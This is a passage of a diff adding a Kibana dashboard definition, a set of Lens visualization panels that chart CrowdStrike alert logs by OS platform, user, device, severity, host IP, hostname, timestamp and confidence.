+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "b4403946-8fa4-464f-b1e2-17fae6304bb5",
+                                        "layerType": "data",
+                                        "legendDisplay": "show",
+                                        "metrics": [
+                                            "8e708f78-e313-4f7c-98dd-625bdc4ef202"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "8ad4264b-af2b-48aa-91a8-e4be5782a1c2"
+                                        ],
+                                        "truncateLegend": false
+                                    }
+                                ],
+                                "shape": "pie"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 16,
+                    "i": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc",
+                    "w": 15,
+                    "x": 33,
+                    "y": 0
+                },
+                "panelIndex": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc",
+                "title": "Alert by OS Platform [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-986a7419-3b29-4812-8f1e-8648d18ce08b",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "986a7419-3b29-4812-8f1e-8648d18ce08b": {
+                                            "columnOrder": [
+                                                "950aa189-023a-4c68-ad46-fba8eaa6dc79",
+                                                "d59a23d4-24d0-486d-8d0d-6100463dbb0c",
+                                                "029c6079-1dc5-4444-a33a-c4590403af92"
+                                            ],
+                                            "columns": {
+                                                "029c6079-1dc5-4444-a33a-c4590403af92": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "950aa189-023a-4c68-ad46-fba8eaa6dc79": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "User ID",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "029c6079-1dc5-4444-a33a-c4590403af92",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "user.id"
+                                                },
+                                                "d59a23d4-24d0-486d-8d0d-6100463dbb0c": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "User Name",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "029c6079-1dc5-4444-a33a-c4590403af92",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "user.name"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "columns": [
+                                    {
+                                        "columnId": "950aa189-023a-4c68-ad46-fba8eaa6dc79",
+                                        "isTransposed": false
+                                    },
+                                    {
+                                        "columnId": "029c6079-1dc5-4444-a33a-c4590403af92",
+                                        "isTransposed": false
+                                    },
+                                    {
+                                        "columnId": "d59a23d4-24d0-486d-8d0d-6100463dbb0c",
+                                        "isTransposed": false
+                                    }
+                                ],
+                                "layerId": "986a7419-3b29-4812-8f1e-8648d18ce08b",
+                                "layerType": "data"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsDatatable"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 15,
+                    "i": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8",
+                    "w": 24,
+                    "x": 0,
+                    "y": 16
+                },
+                "panelIndex": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8",
+                "title": "User with Highest Alert [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "82644959-ef2b-4640-a0ca-d45036d96764",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1": {
+                                            "columnOrder": [
+                                                "fe77febc-cfff-4f08-8c45-2d88cce7d7e8",
+                                                "1b066652-7743-4ca9-aea2-579f2a9ddd34"
+                                            ],
+                                            "columns": {
+                                                "1b066652-7743-4ca9-aea2-579f2a9ddd34": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "fe77febc-cfff-4f08-8c45-2d88cce7d7e8": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Device ID",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "1b066652-7743-4ca9-aea2-579f2a9ddd34",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "device.id"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "82644959-ef2b-4640-a0ca-d45036d96764",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "axisTitlesVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "fittingFunction": "None",
+                                "gridlinesVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "labelsOrientation": {
+                                    "x": 0,
+                                    "yLeft": 0,
+                                    "yRight": 0
+                                },
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "1b066652-7743-4ca9-aea2-579f2a9ddd34"
+                                        ],
+                                        "layerId": "6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1",
+                                        "layerType": "data",
+                                        "seriesType": "bar_stacked",
+                                        "xAccessor": "fe77febc-cfff-4f08-8c45-2d88cce7d7e8"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "position": "right",
+                                    "shouldTruncate": false,
+                                    "showSingleSeries": false
+                                },
+                                "preferredSeriesType": "bar_stacked",
+                                "tickLabelsVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "valueLabels": "hide"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 15,
+                    "i": "aaa3ce74-8cbd-4e77-837e-cdbd42494339",
+                    "w": 24,
+                    "x": 24,
+                    "y": 16
+                },
+                "panelIndex": "aaa3ce74-8cbd-4e77-837e-cdbd42494339",
+                "title": "Alert over Device [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-3a2c2235-1a9e-4db6-ac43-2f05c6775021",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "9040575b-9449-4f08-98ae-116d26ebf28d",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "3a2c2235-1a9e-4db6-ac43-2f05c6775021": {
+                                            "columnOrder": [
+                                                "3adbc15a-2906-40ff-9ea6-9eef981ea411",
+                                                "342509c6-75f8-409a-81eb-7d0cd1f6af5b"
+                                            ],
+                                            "columns": {
+                                                "342509c6-75f8-409a-81eb-7d0cd1f6af5b": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "3adbc15a-2906-40ff-9ea6-9eef981ea411": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": true,
+                                                    "label": "Event Severity",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "342509c6-75f8-409a-81eb-7d0cd1f6af5b",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "event.severity"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "9040575b-9449-4f08-98ae-116d26ebf28d",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "layerId": "3a2c2235-1a9e-4db6-ac43-2f05c6775021",
+                                        "layerType": "data",
+                                        "legendDisplay": "show",
+                                        "metrics": [
+                                            "342509c6-75f8-409a-81eb-7d0cd1f6af5b"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "3adbc15a-2906-40ff-9ea6-9eef981ea411"
+                                        ],
+                                        "truncateLegend": false
+                                    }
+                                ],
+                                "shape": "pie"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 15,
+                    "i": "14405add-afa0-4e3f-9efd-1f52fad51027",
+                    "w": 24,
+                    "x": 0,
+                    "y": 31
+                },
+                "panelIndex": "14405add-afa0-4e3f-9efd-1f52fad51027",
+                "title": "Alert by Severity [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-a6424e3b-fc6e-460e-8385-5a410a690d34",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "7f2f6ede-7728-4214-a79c-27931101ec10",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "a6424e3b-fc6e-460e-8385-5a410a690d34": {
+                                            "columnOrder": [
+                                                "1aa38945-d8a3-4137-b91d-ca2b6f9b140a",
+                                                "40dcaef5-e4f3-47e9-8e51-748b882f17e1"
+                                            ],
+                                            "columns": {
+                                                "1aa38945-d8a3-4137-b91d-ca2b6f9b140a": {
+                                                    "customLabel": true,
+                                                    "dataType": "ip",
+                                                    "isBucketed": true,
+                                                    "label": "Host IP",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "40dcaef5-e4f3-47e9-8e51-748b882f17e1",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "host.ip"
+                                                },
+                                                "40dcaef5-e4f3-47e9-8e51-748b882f17e1": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "7f2f6ede-7728-4214-a79c-27931101ec10",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "40dcaef5-e4f3-47e9-8e51-748b882f17e1"
+                                        ],
+                                        "layerId": "a6424e3b-fc6e-460e-8385-5a410a690d34",
+                                        "layerType": "data",
+                                        "position": "top",
+                                        "seriesType": "bar_stacked",
+                                        "showGridlines": false,
+                                        "xAccessor": "1aa38945-d8a3-4137-b91d-ca2b6f9b140a"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "position": "right",
+                                    "shouldTruncate": false,
+                                    "showSingleSeries": false
+                                },
+                                "preferredSeriesType": "bar_stacked",
+                                "title": "Empty XY chart",
+                                "valueLabels": "hide"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 15,
+                    "i": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4",
+                    "w": 24,
+                    "x": 24,
+                    "y": 31
+                },
+                "panelIndex": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4",
+                "title": "Alert over Host IP [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-e83ee069-a761-49ed-878d-c9972e55a388",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "9a07642d-eec9-4213-b1ae-bb5adbbcf25c",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "e83ee069-a761-49ed-878d-c9972e55a388": {
+                                            "columnOrder": [
+                                                "910bf38d-80f2-4783-9e71-d8bb53f06700",
+                                                "0465e312-67ef-4386-941e-55db68a8b075"
+                                            ],
+                                            "columns": {
+                                                "0465e312-67ef-4386-941e-55db68a8b075": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "910bf38d-80f2-4783-9e71-d8bb53f06700": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Hostname",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "0465e312-67ef-4386-941e-55db68a8b075",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "host.hostname"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "9a07642d-eec9-4213-b1ae-bb5adbbcf25c",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "0465e312-67ef-4386-941e-55db68a8b075"
+                                        ],
+                                        "layerId": "e83ee069-a761-49ed-878d-c9972e55a388",
+                                        "layerType": "data",
+                                        "position": "top",
+                                        "seriesType": "bar_stacked",
+                                        "showGridlines": false,
+                                        "xAccessor": "910bf38d-80f2-4783-9e71-d8bb53f06700"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "position": "right"
+                                },
+                                "preferredSeriesType": "bar_stacked",
+                                "title": "Empty XY chart",
+                                "valueLabels": "hide"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 15,
+                    "i": "69f87d85-d0f2-4fb3-9e02-e970098547db",
+                    "w": 24,
+                    "x": 0,
+                    "y": 46
+                },
+                "panelIndex": "69f87d85-d0f2-4fb3-9e02-e970098547db",
+                "title": "Alert over Hostname [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-4e7a254a-d432-4988-a5cb-3de38f841cc9",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "d887537f-f1fd-404b-8327-8bf3b0d1fdfe",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "4e7a254a-d432-4988-a5cb-3de38f841cc9": {
+                                            "columnOrder": [
+                                                "91fec88d-308d-4dbd-a1a9-241d26c4f894",
+                                                "fed2b0eb-a506-462a-af98-71f79762262e",
+                                                "18a23919-ca9b-4787-8eb1-b6fac3faa5b6"
+                                            ],
+                                            "columns": {
+                                                "18a23919-ca9b-4787-8eb1-b6fac3faa5b6": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "91fec88d-308d-4dbd-a1a9-241d26c4f894": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Event ID",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "18a23919-ca9b-4787-8eb1-b6fac3faa5b6",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "event.id"
+                                                },
+                                                "fed2b0eb-a506-462a-af98-71f79762262e": {
+                                                    "customLabel": true,
+                                                    "dataType": "date",
+                                                    "isBucketed": true,
+                                                    "label": "Timestamp",
+                                                    "operationType": "date_histogram",
+                                                    "params": {
+                                                        "dropPartials": false,
+                                                        "includeEmptyRows": true,
+                                                        "interval": "auto"
+                                                    },
+                                                    "scale": "interval",
+                                                    "sourceField": "@timestamp"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "d887537f-f1fd-404b-8327-8bf3b0d1fdfe",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "18a23919-ca9b-4787-8eb1-b6fac3faa5b6"
+                                        ],
+                                        "layerId": "4e7a254a-d432-4988-a5cb-3de38f841cc9",
+                                        "layerType": "data",
+                                        "position": "top",
+                                        "seriesType": "line",
+                                        "showGridlines": false,
+                                        "splitAccessor": "91fec88d-308d-4dbd-a1a9-241d26c4f894",
+                                        "xAccessor": "fed2b0eb-a506-462a-af98-71f79762262e"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "position": "right",
+                                    "shouldTruncate": false,
+                                    "showSingleSeries": true
+                                },
+                                "preferredSeriesType": "line",
+                                "title": "Empty XY chart",
+                                "valueLabels": "hide",
+                                "valuesInLegend": true
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 15,
+                    "i": "940c98f0-56e7-4e29-88d2-07f160f579cb",
+                    "w": 24,
+                    "x": 24,
+                    "y": 46
+                },
+                "panelIndex": "940c98f0-56e7-4e29-88d2-07f160f579cb",
+                "title": "Alert over Timestamp [Logs CrowdStrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-a278b2d5-076e-409c-b9ca-2da50d6d0a09",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "bbcb4d86-6890-474c-9975-f1476711cfad",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "a278b2d5-076e-409c-b9ca-2da50d6d0a09": {
+                                            "columnOrder": [
+                                                "5e0dee9c-395c-42a3-827b-9b796ecdd625",
+                                                "0d2426f2-1b70-47e2-84b2-5f36d948dc98"
+                                            ],
+                                            "columns": {
+                                                "0d2426f2-1b70-47e2-84b2-5f36d948dc98": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "5e0dee9c-395c-42a3-827b-9b796ecdd625": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": true,
+                                                    "label": "Confidence",
+                                                    "operationType": "range",
+                                                    "params": {
+                                                        "includeEmptyRows": false,
+                                                        "maxBars": "auto",
+                                                        "ranges": [
+                                                            {
+                                                                "from": 0,
+                                                                "label": "",
+                                                                "to": 1000
+                                                            }
+                                                        ],
+                                                        "type": "histogram"
+                                                    },
+                                                    "scale": "interval",
+                                                    "sourceField": "crowdstrike.alert.confidence"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
+                                        "index": "bbcb4d86-6890-474c-9975-f1476711cfad",
+                                        "key": "data_stream.dataset",
+                                        "negate": false,
+                                        "params": {
+                                            "query": "crowdstrike.alert"
+                                        },
+                                        "type": "phrase"
+                                    },
+                                    "query": {
+                                        "match_phrase": {
+                                            "data_stream.dataset": "crowdstrike.alert"
+                                        }
+                                    }
+                                }
+                            ],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "axisTitlesVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "fittingFunction": "None",
+                                "gridlinesVisibilitySettings": {
+                                    "x": true,
+                                    "yLeft": true,
+                                    "yRight": true
+                                },
+                                "labelsOrientation": {
+                                    "x": 0,
